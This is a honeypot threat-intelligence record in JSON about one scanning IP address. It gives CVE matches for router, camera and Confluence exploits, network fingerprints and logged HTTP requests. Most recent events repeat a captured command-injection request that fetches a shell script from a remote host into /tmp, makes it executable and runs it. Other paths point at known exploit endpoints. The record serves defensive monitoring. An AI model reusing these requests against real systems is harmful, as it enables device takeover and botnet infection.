{"ip":"91.92.47.116","total_events":31,"verdict":{"verdict":"malicious","label":"Exploit attempts observed","detail":"1 exploit-path hits","confidence":"high","network_type":null,"why":["1 request(s) matched a known exploit path.","Body-carrying methods (POST/PUT/PATCH/DELETE) seen: payload delivery, not just recon.","Under 5 hits, so confidence is medium.","Not in any known-scanner range.","Sent 36,275 bytes: sustained payload delivery, not a single opportunistic request."],"engagement":{"level":"payload","label":"Sustained payload","detail":"36,275 bytes sent","bytes_sent":36275,"session_seconds":2,"persistent":false}},"first_seen":"2026-09-06T12:30:23","last_seen":"2026-09-10T21:15:17","events_24h":6,"events_7d":31,"geo":{"country_code":"NL","country_name":"The Netherlands","region":"North Holland","city":"Amsterdam","lat":52.3716,"lon":4.8883,"asn":197170,"org":"TechTies Inc."},"source_domain":null,"known_scanners":[],"scanner_tag":null,"cve_matches":[{"cve_id":"CVE-2018-10562","title":"Dasan GPON Devices - Remote Code Execution","severity":"critical","actively_exploited":true,"match_field":"url_path","matched_pattern":"/GponForm/diag_Form"},{"cve_id":"CVE-2021-36260","title":"Hikvision IP camera/NVR - Remote Command Execution","severity":"critical","actively_exploited":true,"match_field":"url_path","matched_pattern":"/SDK/webLanguage"},{"cve_id":"CVE-2023-22527","title":"Atlassian Confluence - Remote Code Execution","severity":"critical","actively_exploited":true,"match_field":"url_path","matched_pattern":"/template/aui/text-inline.vm"},{"cve_id":"CVE-2025-29635","title":"D-Link DIR-823X set_prohibiting - Command Injection","severity":"high","actively_exploited":true,"match_field":"url_path","matched_pattern":"/goform/set_prohibiting"}],"malware":[],"top_ports":[{"port":6001,"proto":"tcp","label":"","count":17},{"port":443,"proto":"tcp","label":"HTTPS","count":13},{"port":2222,"proto":"tcp","label":"SSH-alt","count":1}],"fingerprints":{"ssh_hassh":[],"tls_ja4":["t13i130900_f57a46bbacb6_e7c285222651"],"tls_ja3":["6639916abfac56b9257ca216677085bc"],"ja4h":["po11nn0600_31026e94ac57","ge11nn0500_7f68b9052c78","po11nn0600_f8bf768a441b","ge11nn07en_f8f3b1e8e10e","po11nn0700_57cfaf670460"]},"fingerprint_peers":{"t13i130900_f57a46bbacb6_e7c285222651":4706,"po11nn0600_31026e94ac57":1,"ge11nn0500_7f68b9052c78":1,"po11nn0600_f8bf768a441b":33,"ge11nn07en_f8f3b1e8e10e":11,"po11nn0700_57cfaf670460":2},"user_agents":["Go-http-client/1.1","KrebsOnSecurity","Mozilla/5.0"],"timeline":[{"date":"2026-09-06","count":11},{"date":"2026-09-07","count":4},{"date":"2026-09-08","count":8},{"date":"2026-09-09","count":2},{"date":"2026-09-10","count":6}],"recent_events":[{"timestamp":"2026-09-10T21:15:17","port":6001,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3\",\"accept-encoding\":\"gzip, deflate\",\"accept-language\":\"en-US,en;q=0.9\",\"cache-control\":\"max-age=0\",\"connection\":\"keep-alive\",\"host\":\"<HONEYPOT>:6001\",\"user-agent\":\"KrebsOnSecurity\"}","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/shell?cd+/tmp;wget+http:/\\/94.154.43.60:8081/bash.sh+-O+bash.sh;chmod+777+bash.sh;./bash.sh","summary":"","payload_hex":"474554202f7368656c6c3f63642b2f746d703b776765742b687474703a2f5c2f39342e3135342e34332e36303a383038312f626173682e73682b2d4f2b626173682e73683b63686d6f642b3737372b626173682e73683b2e2f626173682e736820485454502f312e310d0a486f73743a20<HONEYPOT>3a363030310d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a43616368652d436f6e74726f6c3a206d61782d6167653d300d0a557365722d4167656e743a204b726562734f6e53656375726974790d0a4163636570743a20746578742f68746d6c2c6170706c69636174696f6e2f7868746d6c2b786d6c2c6170706c69636174696f6e2f786d6c3b713d302e392c696d6167652f776562702c696d6167652f61706e672c2a2f2a3b713d302e382c6170706c69636174696f6e2f7369676e65642d65786368616e67653b763d62330d0a4163636570742d456e636f64696e673a20677a69702c206465666c6174650d0a4163636570742d4c616e67756167653a20656e2d55532c656e3b713d302e390d0a0d0a","method":"GET","user_agent":"KrebsOnSecurity","ja3":"","session":"798ad09e-6424-49df-855d-b1793d590da1","seq":1,"duration_ms":101,"bytes_in":407,"bytes_out":77},{"timestamp":"2026-09-10T19:39:04","port":6001,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3\",\"accept-encoding\":\"gzip, deflate\",\"accept-language\":\"en-US,en;q=0.9\",\"cache-control\":\"max-age=0\",\"connection\":\"keep-alive\",\"host\":\"<HONEYPOT>:6001\",\"user-agent\":\"KrebsOnSecurity\"}","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/shell?cd+/tmp;wget+http:/\\/94.154.43.60:8081/bash.sh+-O+bash.sh;chmod+777+bash.sh;./bash.sh","summary":"","payload_hex":"474554202f7368656c6c3f63642b2f746d703b776765742b687474703a2f5c2f39342e3135342e34332e36303a383038312f626173682e73682b2d4f2b626173682e73683b63686d6f642b3737372b626173682e73683b2e2f626173682e736820485454502f312e310d0a486f73743a20<HONEYPOT>3a363030310d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a43616368652d436f6e74726f6c3a206d61782d6167653d300d0a557365722d4167656e743a204b726562734f6e53656375726974790d0a4163636570743a20746578742f68746d6c2c6170706c69636174696f6e2f7868746d6c2b786d6c2c6170706c69636174696f6e2f786d6c3b713d302e392c696d6167652f776562702c696d6167652f61706e672c2a2f2a3b713d302e382c6170706c69636174696f6e2f7369676e65642d65786368616e67653b763d62330d0a4163636570742d456e636f64696e673a20677a69702c206465666c6174650d0a4163636570742d4c616e67756167653a20656e2d55532c656e3b713d302e390d0a0d0a","method":"GET","user_agent":"KrebsOnSecurity","ja3":"","session":"cdb37e68-1203-49e9-af16-316c3d44b0ad","seq":1,"duration_ms":101,"bytes_in":406,"bytes_out":77},{"timestamp":"2026-09-10T17:28:46","port":6001,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3\",\"accept-encoding\":\"gzip, deflate\",\"accept-language\":\"en-US,en;q=0.9\",\"cache-control\":\"max-age=0\",\"connection\":\"keep-alive\",\"host\":\"<HONEYPOT>:6001\",\"user-agent\":\"KrebsOnSecurity\"}","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/shell?cd+/tmp;wget+http:/\\/94.154.43.60:8081/bash.sh+-O+bash.sh;chmod+777+bash.sh;./bash.sh","summary":"","payload_hex":"474554202f7368656c6c3f63642b2f746d703b776765742b687474703a2f5c2f39342e3135342e34332e36303a383038312f626173682e73682b2d4f2b626173682e73683b63686d6f642b3737372b626173682e73683b2e2f626173682e736820485454502f312e310d0a486f73743a20<HONEYPOT>3a363030310d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a43616368652d436f6e74726f6c3a206d61782d6167653d300d0a557365722d4167656e743a204b726562734f6e53656375726974790d0a4163636570743a20746578742f68746d6c2c6170706c69636174696f6e2f7868746d6c2b786d6c2c6170706c69636174696f6e2f786d6c3b713d302e392c696d6167652f776562702c696d6167652f61706e672c2a2f2a3b713d302e382c6170706c69636174696f6e2f7369676e65642d65786368616e67653b763d62330d0a4163636570742d456e636f64696e673a20677a69702c206465666c6174650d0a4163636570742d4c616e67756167653a20656e2d55532c656e3b713d302e390d0a0d0a","method":"GET","user_agent":"KrebsOnSecurity","ja3":"","session":"c986271a-4f00-4613-8f35-1951b2bc4c4d","seq":1,"duration_ms":100,"bytes_in":406,"bytes_out":77},{"timestamp":"2026-09-10T07:42:52","port":6001,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3\",\"accept-encoding\":\"gzip, deflate\",\"accept-language\":\"en-US,en;q=0.9\",\"cache-control\":\"max-age=0\",\"connection\":\"keep-alive\",\"host\":\"<HONEYPOT>:6001\",\"user-agent\":\"KrebsOnSecurity\"}","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/shell?cd+/tmp;wget+http:/\\/94.154.43.60:8081/bash.sh+-O+bash.sh;chmod+777+bash.sh;./bash.sh","summary":"","payload_hex":"474554202f7368656c6c3f63642b2f746d703b776765742b687474703a2f5c2f39342e3135342e34332e36303a383038312f626173682e73682b2d4f2b626173682e73683b63686d6f642b3737372b626173682e73683b2e2f626173682e736820485454502f312e310d0a486f73743a20<HONEYPOT>3a363030310d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a43616368652d436f6e74726f6c3a206d61782d6167653d300d0a557365722d4167656e743a204b726562734f6e53656375726974790d0a4163636570743a20746578742f68746d6c2c6170706c69636174696f6e2f7868746d6c2b786d6c2c6170706c69636174696f6e2f786d6c3b713d302e392c696d6167652f776562702c696d6167652f61706e672c2a2f2a3b713d302e382c6170706c69636174696f6e2f7369676e65642d65786368616e67653b763d62330d0a4163636570742d456e636f64696e673a20677a69702c206465666c6174650d0a4163636570742d4c616e67756167653a20656e2d55532c656e3b713d302e390d0a0d0a","method":"GET","user_agent":"KrebsOnSecurity","ja3":"","session":"9c702097-a5c3-43a0-af9c-fb9e8cc404bf","seq":1,"duration_ms":101,"bytes_in":406,"bytes_out":77},{"timestamp":"2026-09-10T02:12:45","port":6001,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3\",\"accept-encoding\":\"gzip, deflate\",\"accept-language\":\"en-US,en;q=0.9\",\"cache-control\":\"max-age=0\",\"connection\":\"keep-alive\",\"host\":\"<HONEYPOT>:6001\",\"user-agent\":\"KrebsOnSecurity\"}","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/shell?cd+/tmp;wget+http:/\\/94.154.43.60:8081/bash.sh+-O+bash.sh;chmod+777+bash.sh;./bash.sh","summary":"","payload_hex":"474554202f7368656c6c3f63642b2f746d703b776765742b687474703a2f5c2f39342e3135342e34332e36303a383038312f626173682e73682b2d4f2b626173682e73683b63686d6f642b3737372b626173682e73683b2e2f626173682e736820485454502f312e310d0a486f73743a20<HONEYPOT>3a363030310d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a43616368652d436f6e74726f6c3a206d61782d6167653d300d0a557365722d4167656e743a204b726562734f6e53656375726974790d0a4163636570743a20746578742f68746d6c2c6170706c69636174696f6e2f7868746d6c2b786d6c2c6170706c69636174696f6e2f786d6c3b713d302e392c696d6167652f776562702c696d6167652f61706e672c2a2f2a3b713d302e382c6170706c69636174696f6e2f7369676e65642d65786368616e67653b763d62330d0a4163636570742d456e636f64696e673a20677a69702c206465666c6174650d0a4163636570742d4c616e67756167653a20656e2d55532c656e3b713d302e390d0a0d0a","method":"GET","user_agent":"KrebsOnSecurity","ja3":"","session":"e96cf873-271c-4249-91ab-01917592766e","seq":1,"duration_ms":100,"bytes_in":407,"bytes_out":77},{"timestamp":"2026-09-10T01:03:21","port":6001,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3\",\"accept-encoding\":\"gzip, deflate\",\"accept-language\":\"en-US,en;q=0.9\",\"cache-control\":\"max-age=0\",\"connection\":\"keep-alive\",\"host\":\"<HONEYPOT>:6001\",\"user-agent\":\"KrebsOnSecurity\"}","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/shell?cd+/tmp;wget+http:/\\/94.154.43.60:8081/bash.sh+-O+bash.sh;chmod+777+bash.sh;./bash.sh","summary":"","payload_hex":"474554202f7368656c6c3f63642b2f746d703b776765742b687474703a2f5c2f39342e3135342e34332e36303a383038312f626173682e73682b2d4f2b626173682e73683b63686d6f642b3737372b626173682e73683b2e2f626173682e736820485454502f312e310d0a486f73743a20<HONEYPOT>3a363030310d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a43616368652d436f6e74726f6c3a206d61782d6167653d300d0a557365722d4167656e743a204b726562734f6e53656375726974790d0a4163636570743a20746578742f68746d6c2c6170706c69636174696f6e2f7868746d6c2b786d6c2c6170706c69636174696f6e2f786d6c3b713d302e392c696d6167652f776562702c696d6167652f61706e672c2a2f2a3b713d302e382c6170706c69636174696f6e2f7369676e65642d65786368616e67653b763d62330d0a4163636570742d456e636f64696e673a20677a69702c206465666c6174650d0a4163636570742d4c616e67756167653a20656e2d55532c656e3b713d302e390d0a0d0a","method":"GET","user_agent":"KrebsOnSecurity","ja3":"","session":"7ef4b9dc-75dd-48f2-91a1-679a9c7b2808","seq":1,"duration_ms":100,"bytes_in":406,"bytes_out":77},{"timestamp":"2026-09-09T16:46:25","port":6001,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3\",\"accept-encoding\":\"gzip, deflate\",\"accept-language\":\"en-US,en;q=0.9\",\"cache-control\":\"max-age=0\",\"connection\":\"keep-alive\",\"host\":\"<HONEYPOT>:6001\",\"user-agent\":\"KrebsOnSecurity\"}","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/shell?cd+/tmp;wget+http:/\\/94.154.43.60:8081/bash.sh+-O+bash.sh;chmod+777+bash.sh;./bash.sh","summary":"","payload_hex":"474554202f7368656c6c3f63642b2f746d703b776765742b687474703a2f5c2f39342e3135342e34332e36303a383038312f626173682e73682b2d4f2b626173682e73683b63686d6f642b3737372b626173682e73683b2e2f626173682e736820485454502f312e310d0a486f73743a20<HONEYPOT>3a363030310d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a43616368652d436f6e74726f6c3a206d61782d6167653d300d0a557365722d4167656e743a204b726562734f6e53656375726974790d0a4163636570743a20746578742f68746d6c2c6170706c69636174696f6e2f7868746d6c2b786d6c2c6170706c69636174696f6e2f786d6c3b713d302e392c696d6167652f776562702c696d6167652f61706e672c2a2f2a3b713d302e382c6170706c69636174696f6e2f7369676e65642d65786368616e67653b763d62330d0a4163636570742d456e636f64696e673a20677a69702c206465666c6174650d0a4163636570742d4c616e67756167653a20656e2d55532c656e3b713d302e390d0a0d0a","method":"GET","user_agent":"KrebsOnSecurity","ja3":"","session":"43bb4440-afa7-456f-a9cf-0a8869b65422","seq":1,"duration_ms":100,"bytes_in":406,"bytes_out":77},{"timestamp":"2026-09-09T10:31:51","port":6001,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3\",\"accept-encoding\":\"gzip, deflate\",\"accept-language\":\"en-US,en;q=0.9\",\"cache-control\":\"max-age=0\",\"connection\":\"keep-alive\",\"host\":\"<HONEYPOT>:6001\",\"user-agent\":\"KrebsOnSecurity\"}","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/shell?cd+/tmp;wget+http:/\\/94.154.43.60:8081/bash.sh+-O+bash.sh;chmod+777+bash.sh;./bash.sh","summary":"","payload_hex":"474554202f7368656c6c3f63642b2f746d703b776765742b687474703a2f5c2f39342e3135342e34332e36303a383038312f626173682e73682b2d4f2b626173682e73683b63686d6f642b3737372b626173682e73683b2e2f626173682e736820485454502f312e310d0a486f73743a20<HONEYPOT>3a363030310d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a43616368652d436f6e74726f6c3a206d61782d6167653d300d0a557365722d4167656e743a204b726562734f6e53656375726974790d0a4163636570743a20746578742f68746d6c2c6170706c69636174696f6e2f7868746d6c2b786d6c2c6170706c69636174696f6e2f786d6c3b713d302e392c696d6167652f776562702c696d6167652f61706e672c2a2f2a3b713d302e382c6170706c69636174696f6e2f7369676e65642d65786368616e67653b763d62330d0a4163636570742d456e636f64696e673a20677a69702c206465666c6174650d0a4163636570742d4c616e67756167653a20656e2d55532c656e3b713d302e390d0a0d0a","method":"GET","user_agent":"KrebsOnSecurity","ja3":"","session":"5b7265cf-7e8d-4067-b15c-3e57fc956f5f","seq":1,"duration_ms":100,"bytes_in":406,"bytes_out":77},{"timestamp":"2026-09-08T21:34:05","port":6001,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3\",\"accept-encoding\":\"gzip, deflate\",\"accept-language\":\"en-US,en;q=0.9\",\"cache-control\":\"max-age=0\",\"connection\":\"keep-alive\",\"host\":\"<HONEYPOT>:6001\",\"user-agent\":\"KrebsOnSecurity\"}","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/shell?cd+/tmp;wget+http:/\\/94.154.43.60:8081/bash.sh+-O+bash.sh;chmod+777+bash.sh;./bash.sh","summary":"","payload_hex":"474554202f7368656c6c3f63642b2f746d703b776765742b687474703a2f5c2f39342e3135342e34332e36303a383038312f626173682e73682b2d4f2b626173682e73683b63686d6f642b3737372b626173682e73683b2e2f626173682e736820485454502f312e310d0a486f73743a20<HONEYPOT>3a363030310d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a43616368652d436f6e74726f6c3a206d61782d6167653d300d0a557365722d4167656e743a204b726562734f6e53656375726974790d0a4163636570743a20746578742f68746d6c2c6170706c69636174696f6e2f7868746d6c2b786d6c2c6170706c69636174696f6e2f786d6c3b713d302e392c696d6167652f776562702c696d6167652f61706e672c2a2f2a3b713d302e382c6170706c69636174696f6e2f7369676e65642d65786368616e67653b763d62330d0a4163636570742d456e636f64696e673a20677a69702c206465666c6174650d0a4163636570742d4c616e67756167653a20656e2d55532c656e3b713d302e390d0a0d0a","method":"GET","user_agent":"KrebsOnSecurity","ja3":"","session":"15a7177a-7536-4f11-974a-98932c9d682c","seq":1,"duration_ms":100,"bytes_in":407,"bytes_out":77},{"timestamp":"2026-09-08T20:48:56","port":6001,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3\",\"accept-encoding\":\"gzip, deflate\",\"accept-language\":\"en-US,en;q=0.9\",\"cache-control\":\"max-age=0\",\"connection\":\"keep-alive\",\"host\":\"<HONEYPOT>:6001\",\"user-agent\":\"KrebsOnSecurity\"}","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/shell?cd+/tmp;wget+http:/\\/94.154.43.60:8081/bash.sh+-O+bash.sh;chmod+777+bash.sh;./bash.sh","summary":"","payload_hex":"474554202f7368656c6c3f63642b2f746d703b776765742b687474703a2f5c2f39342e3135342e34332e36303a383038312f626173682e73682b2d4f2b626173682e73683b63686d6f642b3737372b626173682e73683b2e2f626173682e736820485454502f312e310d0a486f73743a20<HONEYPOT>3a363030310d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a43616368652d436f6e74726f6c3a206d61782d6167653d300d0a557365722d4167656e743a204b726562734f6e53656375726974790d0a4163636570743a20746578742f68746d6c2c6170706c69636174696f6e2f7868746d6c2b786d6c2c6170706c69636174696f6e2f786d6c3b713d302e392c696d6167652f776562702c696d6167652f61706e672c2a2f2a3b713d302e382c6170706c69636174696f6e2f7369676e65642d65786368616e67653b763d62330d0a4163636570742d456e636f64696e673a20677a69702c206465666c6174650d0a4163636570742d4c616e67756167653a20656e2d55532c656e3b713d302e390d0a0d0a","method":"GET","user_agent":"KrebsOnSecurity","ja3":"","session":"e6d3a994-56cd-47d4-a6d2-63c83065e081","seq":1,"duration_ms":100,"bytes_in":406,"bytes_out":77}],"http_methods":[{"method":"GET","count":19},{"method":"POST","count":10},{"method":"PUT","count":1}],"distinct_ports_total":3,"top_paths":[{"path":"/shell?cd+/tmp;wget+http:/\\/94.154.43.60:8081/bash.sh+-O+bash.sh;chmod+777+bash.sh;./bash.sh","count":17,"ports":1},{"path":"/HNAP1/","count":2,"ports":1},{"path":"/cgi-bin/luci;stok=/locale?form=country","count":2,"ports":1},{"path":"/","count":1,"ports":1},{"path":"/dvr/cmd","count":1,"ports":1},{"path":"/SDK/webLanguage","count":1,"ports":1},{"path":"/goform/setWanSettings","count":1,"ports":1},{"path":"/goform/set_prohibiting","count":1,"ports":1},{"path":"/airties/..%2f..%2f..%2fbin/sh","count":1,"ports":1},{"path":"/soap.cgi?service=WANIPConnection:1","count":1,"ports":1},{"path":"/template/aui/text-inline.vm","count":1,"ports":1},{"path":"/GponForm/diag_Form?images/","count":1,"ports":1}],"distinct_paths_total":12,"top_snis":[],"top_hosts":[],"top_alpns":[],"banners":[],"credentials":[],"header_profile":{"signature":["Accept","Accept-Encoding","Accept-Language","Cache-Control","Connection","Host","User-Agent"],"representative":[{"name":"Accept","value":"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3","notable":false},{"name":"Accept-Encoding","value":"gzip, deflate","notable":false},{"name":"Accept-Language","value":"en-US,en;q=0.9","notable":false},{"name":"Cache-Control","value":"max-age=0","notable":false},{"name":"Connection","value":"keep-alive","notable":false},{"name":"Host","value":"<HONEYPOT>:6001","notable":false},{"name":"User-Agent","value":"KrebsOnSecurity","notable":false}],"distinct_sets":1,"events_with_headers":10},"tags":[{"tag_id":"CVE-2018-10562","tag_type":"cve","title":"Dasan GPON Devices - Remote Code Execution","severity":"critical","actively_exploited":true,"match_field":"url_path","matched_pattern":"/GponForm/diag_Form","reference_urls":["https://www.vpnmentor.com/blog/critical-vulnerability-gpon-router","https://github.com/f3d0x0/GPON/blob/master/gpon_rce.py","https://nvd.nist.gov/vuln/detail/CVE-2018-10562","https://www.vpnmentor.com/blog/critical-vulnerability-gpon-router/","https://github.com/ethicalhackeragnidhra/GPON"]},{"tag_id":"CVE-2021-36260","tag_type":"cve","title":"Hikvision IP camera/NVR - Remote Command Execution","severity":"critical","actively_exploited":true,"match_field":"url_path","matched_pattern":"/SDK/webLanguage","reference_urls":["https://watchfulip.github.io/2021/09/18/Hikvision-IP-Camera-Unauthenticated-RCE.html","https://www.hikvision.com/en/support/cybersecurity/security-advisory/security-notification-command-injection-vulnerability-in-some-hikvision-products/","https://nvd.nist.gov/vuln/detail/CVE-2021-36260","https://github.com/Aiminsun/CVE-2021-36260","https://therecord.media/experts-warn-of-widespread-exploitation-involving-hikvision-cameras/"]},{"tag_id":"CVE-2023-22527","tag_type":"cve","title":"Atlassian Confluence - Remote Code Execution","severity":"critical","actively_exploited":true,"match_field":"url_path","matched_pattern":"/template/aui/text-inline.vm","reference_urls":["https://confluence.atlassian.com/pages/viewpage.action?pageId=1333335615","https://jira.atlassian.com/browse/CONFSERVER-93833","https://blog.projectdiscovery.io/atlassian-confluence-ssti-remote-code-execution/","http://packetstormsecurity.com/files/176789/Atlassian-Confluence-SSTI-Injection.html","https://github.com/ramirezs4/Tips-and-tools-forensics---RS4"]},{"tag_id":"CVE-2025-29635","tag_type":"cve","title":"D-Link DIR-823X set_prohibiting - Command Injection","severity":"high","actively_exploited":true,"match_field":"url_path","matched_pattern":"/goform/set_prohibiting","reference_urls":["https://securityaffairs.com/191135/malware/mirai-botnet-exploits-cve-2025-29635-to-target-legacy-d-link-routers.html","https://github.com/D-Link-SA/CVE-2025-29635/blob/main/CVE-2025-29635.md","https://nvd.nist.gov/vuln/detail/CVE-2025-29635"]}],"data_as_of":"2026-09-10T21:19:16.622657+00:00"}